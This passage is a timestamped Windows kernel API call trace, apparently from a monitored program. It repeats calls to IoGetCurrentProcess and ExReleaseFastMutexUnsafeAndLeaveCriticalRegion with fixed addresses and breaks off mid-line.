[0139.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.144] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.150] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.177] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.204] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.223] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.244] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.275] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.306] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.264] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.264] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.266] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.457] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.791] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.816] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.837] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.867] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.867] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.867] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.897] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.915] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.940] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.969] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.984] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.000] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.000] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.000] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.015] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.040] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.060] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.064] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.064] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.120] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.177] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.210] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.235] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.235] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.235] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.251] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.251] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.251] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.282] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.298] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.298] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.329] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.345] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.362] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.363] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.363] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.363] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.364] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.364] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.430] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.458] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.475] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.491] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.521] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.537] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.554] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.589] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.607] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.626] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.671] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.704] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.724] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.744] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.769] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.769] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.770] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.770] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.770] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.771] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.777] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.808] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.808] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.808] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.838] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.868] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.883] IoGetCurrentProcess () returned 0xffffe000011ff900 [0142.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.885] IoGetCurrentProcess () returned 0xffffe000011ff900 [0142.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.908] IoGetCurrentProcess () returned 0xffffe000011ff900 [0142.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.933] IoGetCurrentProcess () returned 0xffffe000011ff900 [0142.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.981] IoGetCurrentProcess () returned 0xffffe000011ff900 [0142.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.008] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.023] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.039] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.070] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.283] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.305] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.321] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.350] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.365] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.382] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.398] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.415] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.432] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.432] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.463] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.495] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.495] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.495] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.512] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.540] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.557] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.557] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.557] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.594] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.614] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.637] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.637] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.637] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.661] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.677] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.682] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.682] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.682] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.745] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.795] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.826] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.847] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.864] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.890] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.890] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.890] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.905] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.935] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.952] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.968] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.985] IoGetCurrentProcess () returned 0xffffe000011ff900 [0143.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0143.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.008] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 